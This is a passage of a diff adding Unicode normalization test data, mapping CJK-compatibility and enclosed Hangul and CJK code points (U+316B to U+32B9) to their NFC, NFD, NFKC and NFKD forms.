+{ source: [0x316B], NFC: [0x316B], NFD: [0x316B], NFKC: [0x11D3], NFKD: [0x11D3] },
+{ source: [0x316C], NFC: [0x316C], NFD: [0x316C], NFKC: [0x11D7], NFKD: [0x11D7] },
+{ source: [0x316D], NFC: [0x316D], NFD: [0x316D], NFKC: [0x11D9], NFKD: [0x11D9] },
+{ source: [0x316E], NFC: [0x316E], NFD: [0x316E], NFKC: [0x111C], NFKD: [0x111C] },
+{ source: [0x316F], NFC: [0x316F], NFD: [0x316F], NFKC: [0x11DD], NFKD: [0x11DD] },
+{ source: [0x3170], NFC: [0x3170], NFD: [0x3170], NFKC: [0x11DF], NFKD: [0x11DF] },
+{ source: [0x3171], NFC: [0x3171], NFD: [0x3171], NFKC: [0x111D], NFKD: [0x111D] },
+{ source: [0x3172], NFC: [0x3172], NFD: [0x3172], NFKC: [0x111E], NFKD: [0x111E] },
+{ source: [0x3173], NFC: [0x3173], NFD: [0x3173], NFKC: [0x1120], NFKD: [0x1120] },
+{ source: [0x3174], NFC: [0x3174], NFD: [0x3174], NFKC: [0x1122], NFKD: [0x1122] },
+{ source: [0x3175], NFC: [0x3175], NFD: [0x3175], NFKC: [0x1123], NFKD: [0x1123] },
+{ source: [0x3176], NFC: [0x3176], NFD: [0x3176], NFKC: [0x1127], NFKD: [0x1127] },
+{ source: [0x3177], NFC: [0x3177], NFD: [0x3177], NFKC: [0x1129], NFKD: [0x1129] },
+{ source: [0x3178], NFC: [0x3178], NFD: [0x3178], NFKC: [0x112B], NFKD: [0x112B] },
+{ source: [0x3179], NFC: [0x3179], NFD: [0x3179], NFKC: [0x112C], NFKD: [0x112C] },
+{ source: [0x317A], NFC: [0x317A], NFD: [0x317A], NFKC: [0x112D], NFKD: [0x112D] },
+{ source: [0x317B], NFC: [0x317B], NFD: [0x317B], NFKC: [0x112E], NFKD: [0x112E] },
+{ source: [0x317C], NFC: [0x317C], NFD: [0x317C], NFKC: [0x112F], NFKD: [0x112F] },
+{ source: [0x317D], NFC: [0x317D], NFD: [0x317D], NFKC: [0x1132], NFKD: [0x1132] },
+{ source: [0x317E], NFC: [0x317E], NFD: [0x317E], NFKC: [0x1136], NFKD: [0x1136] },
+{ source: [0x317F], NFC: [0x317F], NFD: [0x317F], NFKC: [0x1140], NFKD: [0x1140] },
+{ source: [0x3180], NFC: [0x3180], NFD: [0x3180], NFKC: [0x1147], NFKD: [0x1147] },
+{ source: [0x3181], NFC: [0x3181], NFD: [0x3181], NFKC: [0x114C], NFKD: [0x114C] },
+{ source: [0x3182], NFC: [0x3182], NFD: [0x3182], NFKC: [0x11F1], NFKD: [0x11F1] },
+{ source: [0x3183], NFC: [0x3183], NFD: [0x3183], NFKC: [0x11F2], NFKD: [0x11F2] },
+{ source: [0x3184], NFC: [0x3184], NFD: [0x3184], NFKC: [0x1157], NFKD: [0x1157] },
+{ source: [0x3185], NFC: [0x3185], NFD: [0x3185], NFKC: [0x1158], NFKD: [0x1158] },
+{ source: [0x3186], NFC: [0x3186], NFD: [0x3186], NFKC: [0x1159], NFKD: [0x1159] },
+{ source: [0x3187], NFC: [0x3187], NFD: [0x3187], NFKC: [0x1184], NFKD: [0x1184] },
+{ source: [0x3188], NFC: [0x3188], NFD: [0x3188], NFKC: [0x1185], NFKD: [0x1185] },
+{ source: [0x3189], NFC: [0x3189], NFD: [0x3189], NFKC: [0x1188], NFKD: [0x1188] },
+{ source: [0x318A], NFC: [0x318A], NFD: [0x318A], NFKC: [0x1191], NFKD: [0x1191] },
+{ source: [0x318B], NFC: [0x318B], NFD: [0x318B], NFKC: [0x1192], NFKD: [0x1192] },
+{ source: [0x318C], NFC: [0x318C], NFD: [0x318C], NFKC: [0x1194], NFKD: [0x1194] },
+{ source: [0x318D], NFC: [0x318D], NFD: [0x318D], NFKC: [0x119E], NFKD: [0x119E] },
+{ source: [0x318E], NFC: [0x318E], NFD: [0x318E], NFKC: [0x11A1], NFKD: [0x11A1] },
+{ source: [0x3192], NFC: [0x3192], NFD: [0x3192], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x3193], NFC: [0x3193], NFD: [0x3193], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x3194], NFC: [0x3194], NFD: [0x3194], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x3195], NFC: [0x3195], NFD: [0x3195], NFKC: [0x56DB], NFKD: [0x56DB] },
+{ source: [0x3196], NFC: [0x3196], NFD: [0x3196], NFKC: [0x4E0A], NFKD: [0x4E0A] },
+{ source: [0x3197], NFC: [0x3197], NFD: [0x3197], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x3198], NFC: [0x3198], NFD: [0x3198], NFKC: [0x4E0B], NFKD: [0x4E0B] },
+{ source: [0x3199], NFC: [0x3199], NFD: [0x3199], NFKC: [0x7532], NFKD: [0x7532] },
+{ source: [0x319A], NFC: [0x319A], NFD: [0x319A], NFKC: [0x4E59], NFKD: [0x4E59] },
+{ source: [0x319B], NFC: [0x319B], NFD: [0x319B], NFKC: [0x4E19], NFKD: [0x4E19] },
+{ source: [0x319C], NFC: [0x319C], NFD: [0x319C], NFKC: [0x4E01], NFKD: [0x4E01] },
+{ source: [0x319D], NFC: [0x319D], NFD: [0x319D], NFKC: [0x5929], NFKD: [0x5929] },
+{ source: [0x319E], NFC: [0x319E], NFD: [0x319E], NFKC: [0x5730], NFKD: [0x5730] },
+{ source: [0x319F], NFC: [0x319F], NFD: [0x319F], NFKC: [0x4EBA], NFKD: [0x4EBA] },
+{ source: [0x3200], NFC: [0x3200], NFD: [0x3200], NFKC: [0x0028, 0x1100, 0x0029], NFKD: [0x0028, 0x1100, 0x0029] },
+{ source: [0x3201], NFC: [0x3201], NFD: [0x3201], NFKC: [0x0028, 0x1102, 0x0029], NFKD: [0x0028, 0x1102, 0x0029] },
+{ source: [0x3202], NFC: [0x3202], NFD: [0x3202], NFKC: [0x0028, 0x1103, 0x0029], NFKD: [0x0028, 0x1103, 0x0029] },
+{ source: [0x3203], NFC: [0x3203], NFD: [0x3203], NFKC: [0x0028, 0x1105, 0x0029], NFKD: [0x0028, 0x1105, 0x0029] },
+{ source: [0x3204], NFC: [0x3204], NFD: [0x3204], NFKC: [0x0028, 0x1106, 0x0029], NFKD: [0x0028, 0x1106, 0x0029] },
+{ source: [0x3205], NFC: [0x3205], NFD: [0x3205], NFKC: [0x0028, 0x1107, 0x0029], NFKD: [0x0028, 0x1107, 0x0029] },
+{ source: [0x3206], NFC: [0x3206], NFD: [0x3206], NFKC: [0x0028, 0x1109, 0x0029], NFKD: [0x0028, 0x1109, 0x0029] },
+{ source: [0x3207], NFC: [0x3207], NFD: [0x3207], NFKC: [0x0028, 0x110B, 0x0029], NFKD: [0x0028, 0x110B, 0x0029] },
+{ source: [0x3208], NFC: [0x3208], NFD: [0x3208], NFKC: [0x0028, 0x110C, 0x0029], NFKD: [0x0028, 0x110C, 0x0029] },
+{ source: [0x3209], NFC: [0x3209], NFD: [0x3209], NFKC: [0x0028, 0x110E, 0x0029], NFKD: [0x0028, 0x110E, 0x0029] },
+{ source: [0x320A], NFC: [0x320A], NFD: [0x320A], NFKC: [0x0028, 0x110F, 0x0029], NFKD: [0x0028, 0x110F, 0x0029] },
+{ source: [0x320B], NFC: [0x320B], NFD: [0x320B], NFKC: [0x0028, 0x1110, 0x0029], NFKD: [0x0028, 0x1110, 0x0029] },
+{ source: [0x320C], NFC: [0x320C], NFD: [0x320C], NFKC: [0x0028, 0x1111, 0x0029], NFKD: [0x0028, 0x1111, 0x0029] },
+{ source: [0x320D], NFC: [0x320D], NFD: [0x320D], NFKC: [0x0028, 0x1112, 0x0029], NFKD: [0x0028, 0x1112, 0x0029] },
+{ source: [0x320E], NFC: [0x320E], NFD: [0x320E], NFKC: [0x0028, 0xAC00, 0x0029], NFKD: [0x0028, 0x1100, 0x1161, 0x0029] },
+{ source: [0x320F], NFC: [0x320F], NFD: [0x320F], NFKC: [0x0028, 0xB098, 0x0029], NFKD: [0x0028, 0x1102, 0x1161, 0x0029] },
+{ source: [0x3210], NFC: [0x3210], NFD: [0x3210], NFKC: [0x0028, 0xB2E4, 0x0029], NFKD: [0x0028, 0x1103, 0x1161, 0x0029] },
+{ source: [0x3211], NFC: [0x3211], NFD: [0x3211], NFKC: [0x0028, 0xB77C, 0x0029], NFKD: [0x0028, 0x1105, 0x1161, 0x0029] },
+{ source: [0x3212], NFC: [0x3212], NFD: [0x3212], NFKC: [0x0028, 0xB9C8, 0x0029], NFKD: [0x0028, 0x1106, 0x1161, 0x0029] },
+{ source: [0x3213], NFC: [0x3213], NFD: [0x3213], NFKC: [0x0028, 0xBC14, 0x0029], NFKD: [0x0028, 0x1107, 0x1161, 0x0029] },
+{ source: [0x3214], NFC: [0x3214], NFD: [0x3214], NFKC: [0x0028, 0xC0AC, 0x0029], NFKD: [0x0028, 0x1109, 0x1161, 0x0029] },
+{ source: [0x3215], NFC: [0x3215], NFD: [0x3215], NFKC: [0x0028, 0xC544, 0x0029], NFKD: [0x0028, 0x110B, 0x1161, 0x0029] },
+{ source: [0x3216], NFC: [0x3216], NFD: [0x3216], NFKC: [0x0028, 0xC790, 0x0029], NFKD: [0x0028, 0x110C, 0x1161, 0x0029] },
+{ source: [0x3217], NFC: [0x3217], NFD: [0x3217], NFKC: [0x0028, 0xCC28, 0x0029], NFKD: [0x0028, 0x110E, 0x1161, 0x0029] },
+{ source: [0x3218], NFC: [0x3218], NFD: [0x3218], NFKC: [0x0028, 0xCE74, 0x0029], NFKD: [0x0028, 0x110F, 0x1161, 0x0029] },
+{ source: [0x3219], NFC: [0x3219], NFD: [0x3219], NFKC: [0x0028, 0xD0C0, 0x0029], NFKD: [0x0028, 0x1110, 0x1161, 0x0029] },
+{ source: [0x321A], NFC: [0x321A], NFD: [0x321A], NFKC: [0x0028, 0xD30C, 0x0029], NFKD: [0x0028, 0x1111, 0x1161, 0x0029] },
+{ source: [0x321B], NFC: [0x321B], NFD: [0x321B], NFKC: [0x0028, 0xD558, 0x0029], NFKD: [0x0028, 0x1112, 0x1161, 0x0029] },
+{ source: [0x321C], NFC: [0x321C], NFD: [0x321C], NFKC: [0x0028, 0xC8FC, 0x0029], NFKD: [0x0028, 0x110C, 0x116E, 0x0029] },
+{ source: [0x321D], NFC: [0x321D], NFD: [0x321D], NFKC: [0x0028, 0xC624, 0xC804, 0x0029], NFKD: [0x0028, 0x110B, 0x1169, 0x110C, 0x1165, 0x11AB, 0x0029] },
+{ source: [0x321E], NFC: [0x321E], NFD: [0x321E], NFKC: [0x0028, 0xC624, 0xD6C4, 0x0029], NFKD: [0x0028, 0x110B, 0x1169, 0x1112, 0x116E, 0x0029] },
+{ source: [0x3220], NFC: [0x3220], NFD: [0x3220], NFKC: [0x0028, 0x4E00, 0x0029], NFKD: [0x0028, 0x4E00, 0x0029] },
+{ source: [0x3221], NFC: [0x3221], NFD: [0x3221], NFKC: [0x0028, 0x4E8C, 0x0029], NFKD: [0x0028, 0x4E8C, 0x0029] },
+{ source: [0x3222], NFC: [0x3222], NFD: [0x3222], NFKC: [0x0028, 0x4E09, 0x0029], NFKD: [0x0028, 0x4E09, 0x0029] },
+{ source: [0x3223], NFC: [0x3223], NFD: [0x3223], NFKC: [0x0028, 0x56DB, 0x0029], NFKD: [0x0028, 0x56DB, 0x0029] },
+{ source: [0x3224], NFC: [0x3224], NFD: [0x3224], NFKC: [0x0028, 0x4E94, 0x0029], NFKD: [0x0028, 0x4E94, 0x0029] },
+{ source: [0x3225], NFC: [0x3225], NFD: [0x3225], NFKC: [0x0028, 0x516D, 0x0029], NFKD: [0x0028, 0x516D, 0x0029] },
+{ source: [0x3226], NFC: [0x3226], NFD: [0x3226], NFKC: [0x0028, 0x4E03, 0x0029], NFKD: [0x0028, 0x4E03, 0x0029] },
+{ source: [0x3227], NFC: [0x3227], NFD: [0x3227], NFKC: [0x0028, 0x516B, 0x0029], NFKD: [0x0028, 0x516B, 0x0029] },
+{ source: [0x3228], NFC: [0x3228], NFD: [0x3228], NFKC: [0x0028, 0x4E5D, 0x0029], NFKD: [0x0028, 0x4E5D, 0x0029] },
+{ source: [0x3229], NFC: [0x3229], NFD: [0x3229], NFKC: [0x0028, 0x5341, 0x0029], NFKD: [0x0028, 0x5341, 0x0029] },
+{ source: [0x322A], NFC: [0x322A], NFD: [0x322A], NFKC: [0x0028, 0x6708, 0x0029], NFKD: [0x0028, 0x6708, 0x0029] },
+{ source: [0x322B], NFC: [0x322B], NFD: [0x322B], NFKC: [0x0028, 0x706B, 0x0029], NFKD: [0x0028, 0x706B, 0x0029] },
+{ source: [0x322C], NFC: [0x322C], NFD: [0x322C], NFKC: [0x0028, 0x6C34, 0x0029], NFKD: [0x0028, 0x6C34, 0x0029] },
+{ source: [0x322D], NFC: [0x322D], NFD: [0x322D], NFKC: [0x0028, 0x6728, 0x0029], NFKD: [0x0028, 0x6728, 0x0029] },
+{ source: [0x322E], NFC: [0x322E], NFD: [0x322E], NFKC: [0x0028, 0x91D1, 0x0029], NFKD: [0x0028, 0x91D1, 0x0029] },
+{ source: [0x322F], NFC: [0x322F], NFD: [0x322F], NFKC: [0x0028, 0x571F, 0x0029], NFKD: [0x0028, 0x571F, 0x0029] },
+{ source: [0x3230], NFC: [0x3230], NFD: [0x3230], NFKC: [0x0028, 0x65E5, 0x0029], NFKD: [0x0028, 0x65E5, 0x0029] },
+{ source: [0x3231], NFC: [0x3231], NFD: [0x3231], NFKC: [0x0028, 0x682A, 0x0029], NFKD: [0x0028, 0x682A, 0x0029] },
+{ source: [0x3232], NFC: [0x3232], NFD: [0x3232], NFKC: [0x0028, 0x6709, 0x0029], NFKD: [0x0028, 0x6709, 0x0029] },
+{ source: [0x3233], NFC: [0x3233], NFD: [0x3233], NFKC: [0x0028, 0x793E, 0x0029], NFKD: [0x0028, 0x793E, 0x0029] },
+{ source: [0x3234], NFC: [0x3234], NFD: [0x3234], NFKC: [0x0028, 0x540D, 0x0029], NFKD: [0x0028, 0x540D, 0x0029] },
+{ source: [0x3235], NFC: [0x3235], NFD: [0x3235], NFKC: [0x0028, 0x7279, 0x0029], NFKD: [0x0028, 0x7279, 0x0029] },
+{ source: [0x3236], NFC: [0x3236], NFD: [0x3236], NFKC: [0x0028, 0x8CA1, 0x0029], NFKD: [0x0028, 0x8CA1, 0x0029] },
+{ source: [0x3237], NFC: [0x3237], NFD: [0x3237], NFKC: [0x0028, 0x795D, 0x0029], NFKD: [0x0028, 0x795D, 0x0029] },
+{ source: [0x3238], NFC: [0x3238], NFD: [0x3238], NFKC: [0x0028, 0x52B4, 0x0029], NFKD: [0x0028, 0x52B4, 0x0029] },
+{ source: [0x3239], NFC: [0x3239], NFD: [0x3239], NFKC: [0x0028, 0x4EE3, 0x0029], NFKD: [0x0028, 0x4EE3, 0x0029] },
+{ source: [0x323A], NFC: [0x323A], NFD: [0x323A], NFKC: [0x0028, 0x547C, 0x0029], NFKD: [0x0028, 0x547C, 0x0029] },
+{ source: [0x323B], NFC: [0x323B], NFD: [0x323B], NFKC: [0x0028, 0x5B66, 0x0029], NFKD: [0x0028, 0x5B66, 0x0029] },
+{ source: [0x323C], NFC: [0x323C], NFD: [0x323C], NFKC: [0x0028, 0x76E3, 0x0029], NFKD: [0x0028, 0x76E3, 0x0029] },
+{ source: [0x323D], NFC: [0x323D], NFD: [0x323D], NFKC: [0x0028, 0x4F01, 0x0029], NFKD: [0x0028, 0x4F01, 0x0029] },
+{ source: [0x323E], NFC: [0x323E], NFD: [0x323E], NFKC: [0x0028, 0x8CC7, 0x0029], NFKD: [0x0028, 0x8CC7, 0x0029] },
+{ source: [0x323F], NFC: [0x323F], NFD: [0x323F], NFKC: [0x0028, 0x5354, 0x0029], NFKD: [0x0028, 0x5354, 0x0029] },
+{ source: [0x3240], NFC: [0x3240], NFD: [0x3240], NFKC: [0x0028, 0x796D, 0x0029], NFKD: [0x0028, 0x796D, 0x0029] },
+{ source: [0x3241], NFC: [0x3241], NFD: [0x3241], NFKC: [0x0028, 0x4F11, 0x0029], NFKD: [0x0028, 0x4F11, 0x0029] },
+{ source: [0x3242], NFC: [0x3242], NFD: [0x3242], NFKC: [0x0028, 0x81EA, 0x0029], NFKD: [0x0028, 0x81EA, 0x0029] },
+{ source: [0x3243], NFC: [0x3243], NFD: [0x3243], NFKC: [0x0028, 0x81F3, 0x0029], NFKD: [0x0028, 0x81F3, 0x0029] },
+{ source: [0x3244], NFC: [0x3244], NFD: [0x3244], NFKC: [0x554F], NFKD: [0x554F] },
+{ source: [0x3245], NFC: [0x3245], NFD: [0x3245], NFKC: [0x5E7C], NFKD: [0x5E7C] },
+{ source: [0x3246], NFC: [0x3246], NFD: [0x3246], NFKC: [0x6587], NFKD: [0x6587] },
+{ source: [0x3247], NFC: [0x3247], NFD: [0x3247], NFKC: [0x7B8F], NFKD: [0x7B8F] },
+{ source: [0x3250], NFC: [0x3250], NFD: [0x3250], NFKC: [0x0050, 0x0054, 0x0045], NFKD: [0x0050, 0x0054, 0x0045] },
+{ source: [0x3251], NFC: [0x3251], NFD: [0x3251], NFKC: [0x0032, 0x0031], NFKD: [0x0032, 0x0031] },
+{ source: [0x3252], NFC: [0x3252], NFD: [0x3252], NFKC: [0x0032, 0x0032], NFKD: [0x0032, 0x0032] },
+{ source: [0x3253], NFC: [0x3253], NFD: [0x3253], NFKC: [0x0032, 0x0033], NFKD: [0x0032, 0x0033] },
+{ source: [0x3254], NFC: [0x3254], NFD: [0x3254], NFKC: [0x0032, 0x0034], NFKD: [0x0032, 0x0034] },
+{ source: [0x3255], NFC: [0x3255], NFD: [0x3255], NFKC: [0x0032, 0x0035], NFKD: [0x0032, 0x0035] },
+{ source: [0x3256], NFC: [0x3256], NFD: [0x3256], NFKC: [0x0032, 0x0036], NFKD: [0x0032, 0x0036] },
+{ source: [0x3257], NFC: [0x3257], NFD: [0x3257], NFKC: [0x0032, 0x0037], NFKD: [0x0032, 0x0037] },
+{ source: [0x3258], NFC: [0x3258], NFD: [0x3258], NFKC: [0x0032, 0x0038], NFKD: [0x0032, 0x0038] },
+{ source: [0x3259], NFC: [0x3259], NFD: [0x3259], NFKC: [0x0032, 0x0039], NFKD: [0x0032, 0x0039] },
+{ source: [0x325A], NFC: [0x325A], NFD: [0x325A], NFKC: [0x0033, 0x0030], NFKD: [0x0033, 0x0030] },
+{ source: [0x325B], NFC: [0x325B], NFD: [0x325B], NFKC: [0x0033, 0x0031], NFKD: [0x0033, 0x0031] },
+{ source: [0x325C], NFC: [0x325C], NFD: [0x325C], NFKC: [0x0033, 0x0032], NFKD: [0x0033, 0x0032] },
+{ source: [0x325D], NFC: [0x325D], NFD: [0x325D], NFKC: [0x0033, 0x0033], NFKD: [0x0033, 0x0033] },
+{ source: [0x325E], NFC: [0x325E], NFD: [0x325E], NFKC: [0x0033, 0x0034], NFKD: [0x0033, 0x0034] },
+{ source: [0x325F], NFC: [0x325F], NFD: [0x325F], NFKC: [0x0033, 0x0035], NFKD: [0x0033, 0x0035] },
+{ source: [0x3260], NFC: [0x3260], NFD: [0x3260], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0x3261], NFC: [0x3261], NFD: [0x3261], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0x3262], NFC: [0x3262], NFD: [0x3262], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0x3263], NFC: [0x3263], NFD: [0x3263], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0x3264], NFC: [0x3264], NFD: [0x3264], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0x3265], NFC: [0x3265], NFD: [0x3265], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0x3266], NFC: [0x3266], NFD: [0x3266], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0x3267], NFC: [0x3267], NFD: [0x3267], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0x3268], NFC: [0x3268], NFD: [0x3268], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0x3269], NFC: [0x3269], NFD: [0x3269], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0x326A], NFC: [0x326A], NFD: [0x326A], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0x326B], NFC: [0x326B], NFD: [0x326B], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0x326C], NFC: [0x326C], NFD: [0x326C], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0x326D], NFC: [0x326D], NFD: [0x326D], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0x326E], NFC: [0x326E], NFD: [0x326E], NFKC: [0xAC00], NFKD: [0x1100, 0x1161] },
+{ source: [0x326F], NFC: [0x326F], NFD: [0x326F], NFKC: [0xB098], NFKD: [0x1102, 0x1161] },
+{ source: [0x3270], NFC: [0x3270], NFD: [0x3270], NFKC: [0xB2E4], NFKD: [0x1103, 0x1161] },
+{ source: [0x3271], NFC: [0x3271], NFD: [0x3271], NFKC: [0xB77C], NFKD: [0x1105, 0x1161] },
+{ source: [0x3272], NFC: [0x3272], NFD: [0x3272], NFKC: [0xB9C8], NFKD: [0x1106, 0x1161] },
+{ source: [0x3273], NFC: [0x3273], NFD: [0x3273], NFKC: [0xBC14], NFKD: [0x1107, 0x1161] },
+{ source: [0x3274], NFC: [0x3274], NFD: [0x3274], NFKC: [0xC0AC], NFKD: [0x1109, 0x1161] },
+{ source: [0x3275], NFC: [0x3275], NFD: [0x3275], NFKC: [0xC544], NFKD: [0x110B, 0x1161] },
+{ source: [0x3276], NFC: [0x3276], NFD: [0x3276], NFKC: [0xC790], NFKD: [0x110C, 0x1161] },
+{ source: [0x3277], NFC: [0x3277], NFD: [0x3277], NFKC: [0xCC28], NFKD: [0x110E, 0x1161] },
+{ source: [0x3278], NFC: [0x3278], NFD: [0x3278], NFKC: [0xCE74], NFKD: [0x110F, 0x1161] },
+{ source: [0x3279], NFC: [0x3279], NFD: [0x3279], NFKC: [0xD0C0], NFKD: [0x1110, 0x1161] },
+{ source: [0x327A], NFC: [0x327A], NFD: [0x327A], NFKC: [0xD30C], NFKD: [0x1111, 0x1161] },
+{ source: [0x327B], NFC: [0x327B], NFD: [0x327B], NFKC: [0xD558], NFKD: [0x1112, 0x1161] },
+{ source: [0x327C], NFC: [0x327C], NFD: [0x327C], NFKC: [0xCC38, 0xACE0], NFKD: [0x110E, 0x1161, 0x11B7, 0x1100, 0x1169] },
+{ source: [0x327D], NFC: [0x327D], NFD: [0x327D], NFKC: [0xC8FC, 0xC758], NFKD: [0x110C, 0x116E, 0x110B, 0x1174] },
+{ source: [0x327E], NFC: [0x327E], NFD: [0x327E], NFKC: [0xC6B0], NFKD: [0x110B, 0x116E] },
+{ source: [0x3280], NFC: [0x3280], NFD: [0x3280], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x3281], NFC: [0x3281], NFD: [0x3281], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x3282], NFC: [0x3282], NFD: [0x3282], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x3283], NFC: [0x3283], NFD: [0x3283], NFKC: [0x56DB], NFKD: [0x56DB] },
+{ source: [0x3284], NFC: [0x3284], NFD: [0x3284], NFKC: [0x4E94], NFKD: [0x4E94] },
+{ source: [0x3285], NFC: [0x3285], NFD: [0x3285], NFKC: [0x516D], NFKD: [0x516D] },
+{ source: [0x3286], NFC: [0x3286], NFD: [0x3286], NFKC: [0x4E03], NFKD: [0x4E03] },
+{ source: [0x3287], NFC: [0x3287], NFD: [0x3287], NFKC: [0x516B], NFKD: [0x516B] },
+{ source: [0x3288], NFC: [0x3288], NFD: [0x3288], NFKC: [0x4E5D], NFKD: [0x4E5D] },
+{ source: [0x3289], NFC: [0x3289], NFD: [0x3289], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x328A], NFC: [0x328A], NFD: [0x328A], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x328B], NFC: [0x328B], NFD: [0x328B], NFKC: [0x706B], NFKD: [0x706B] },
+{ source: [0x328C], NFC: [0x328C], NFD: [0x328C], NFKC: [0x6C34], NFKD: [0x6C34] },
+{ source: [0x328D], NFC: [0x328D], NFD: [0x328D], NFKC: [0x6728], NFKD: [0x6728] },
+{ source: [0x328E], NFC: [0x328E], NFD: [0x328E], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0x328F], NFC: [0x328F], NFD: [0x328F], NFKC: [0x571F], NFKD: [0x571F] },
+{ source: [0x3290], NFC: [0x3290], NFD: [0x3290], NFKC: [0x65E5], NFKD: [0x65E5] },
+{ source: [0x3291], NFC: [0x3291], NFD: [0x3291], NFKC: [0x682A], NFKD: [0x682A] },
+{ source: [0x3292], NFC: [0x3292], NFD: [0x3292], NFKC: [0x6709], NFKD: [0x6709] },
+{ source: [0x3293], NFC: [0x3293], NFD: [0x3293], NFKC: [0x793E], NFKD: [0x793E] },
+{ source: [0x3294], NFC: [0x3294], NFD: [0x3294], NFKC: [0x540D], NFKD: [0x540D] },
+{ source: [0x3295], NFC: [0x3295], NFD: [0x3295], NFKC: [0x7279], NFKD: [0x7279] },
+{ source: [0x3296], NFC: [0x3296], NFD: [0x3296], NFKC: [0x8CA1], NFKD: [0x8CA1] },
+{ source: [0x3297], NFC: [0x3297], NFD: [0x3297], NFKC: [0x795D], NFKD: [0x795D] },
+{ source: [0x3298], NFC: [0x3298], NFD: [0x3298], NFKC: [0x52B4], NFKD: [0x52B4] },
+{ source: [0x3299], NFC: [0x3299], NFD: [0x3299], NFKC: [0x79D8], NFKD: [0x79D8] },
+{ source: [0x329A], NFC: [0x329A], NFD: [0x329A], NFKC: [0x7537], NFKD: [0x7537] },
+{ source: [0x329B], NFC: [0x329B], NFD: [0x329B], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0x329C], NFC: [0x329C], NFD: [0x329C], NFKC: [0x9069], NFKD: [0x9069] },
+{ source: [0x329D], NFC: [0x329D], NFD: [0x329D], NFKC: [0x512A], NFKD: [0x512A] },
+{ source: [0x329E], NFC: [0x329E], NFD: [0x329E], NFKC: [0x5370], NFKD: [0x5370] },
+{ source: [0x329F], NFC: [0x329F], NFD: [0x329F], NFKC: [0x6CE8], NFKD: [0x6CE8] },
+{ source: [0x32A0], NFC: [0x32A0], NFD: [0x32A0], NFKC: [0x9805], NFKD: [0x9805] },
+{ source: [0x32A1], NFC: [0x32A1], NFD: [0x32A1], NFKC: [0x4F11], NFKD: [0x4F11] },
+{ source: [0x32A2], NFC: [0x32A2], NFD: [0x32A2], NFKC: [0x5199], NFKD: [0x5199] },
+{ source: [0x32A3], NFC: [0x32A3], NFD: [0x32A3], NFKC: [0x6B63], NFKD: [0x6B63] },
+{ source: [0x32A4], NFC: [0x32A4], NFD: [0x32A4], NFKC: [0x4E0A], NFKD: [0x4E0A] },
+{ source: [0x32A5], NFC: [0x32A5], NFD: [0x32A5], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x32A6], NFC: [0x32A6], NFD: [0x32A6], NFKC: [0x4E0B], NFKD: [0x4E0B] },
+{ source: [0x32A7], NFC: [0x32A7], NFD: [0x32A7], NFKC: [0x5DE6], NFKD: [0x5DE6] },
+{ source: [0x32A8], NFC: [0x32A8], NFD: [0x32A8], NFKC: [0x53F3], NFKD: [0x53F3] },
+{ source: [0x32A9], NFC: [0x32A9], NFD: [0x32A9], NFKC: [0x533B], NFKD: [0x533B] },
+{ source: [0x32AA], NFC: [0x32AA], NFD: [0x32AA], NFKC: [0x5B97], NFKD: [0x5B97] },
+{ source: [0x32AB], NFC: [0x32AB], NFD: [0x32AB], NFKC: [0x5B66], NFKD: [0x5B66] },
+{ source: [0x32AC], NFC: [0x32AC], NFD: [0x32AC], NFKC: [0x76E3], NFKD: [0x76E3] },
+{ source: [0x32AD], NFC: [0x32AD], NFD: [0x32AD], NFKC: [0x4F01], NFKD: [0x4F01] },
+{ source: [0x32AE], NFC: [0x32AE], NFD: [0x32AE], NFKC: [0x8CC7], NFKD: [0x8CC7] },
+{ source: [0x32AF], NFC: [0x32AF], NFD: [0x32AF], NFKC: [0x5354], NFKD: [0x5354] },
+{ source: [0x32B0], NFC: [0x32B0], NFD: [0x32B0], NFKC: [0x591C], NFKD: [0x591C] },
+{ source: [0x32B1], NFC: [0x32B1], NFD: [0x32B1], NFKC: [0x0033, 0x0036], NFKD: [0x0033, 0x0036] },
+{ source: [0x32B2], NFC: [0x32B2], NFD: [0x32B2], NFKC: [0x0033, 0x0037], NFKD: [0x0033, 0x0037] },
+{ source: [0x32B3], NFC: [0x32B3], NFD: [0x32B3], NFKC: [0x0033, 0x0038], NFKD: [0x0033, 0x0038] },
+{ source: [0x32B4], NFC: [0x32B4], NFD: [0x32B4], NFKC: [0x0033, 0x0039], NFKD: [0x0033, 0x0039] },
+{ source: [0x32B5], NFC: [0x32B5], NFD: [0x32B5], NFKC: [0x0034, 0x0030], NFKD: [0x0034, 0x0030] },
+{ source: [0x32B6], NFC: [0x32B6], NFD: [0x32B6], NFKC: [0x0034, 0x0031], NFKD: [0x0034, 0x0031] },
+{ source: [0x32B7], NFC: [0x32B7], NFD: [0x32B7], NFKC: [0x0034, 0x0032], NFKD: [0x0034, 0x0032] },
+{ source: [0x32B8], NFC: [0x32B8], NFD: [0x32B8], NFKC: [0x0034, 0x0033], NFKD: [0x0034, 0x0033] },
+{ source: [0x32B9], NFC: [0x32B9], NFD: [0x32B9], NFKC: [0x0034, 0x0034], NFKD: [0x0034, 0x0034] },
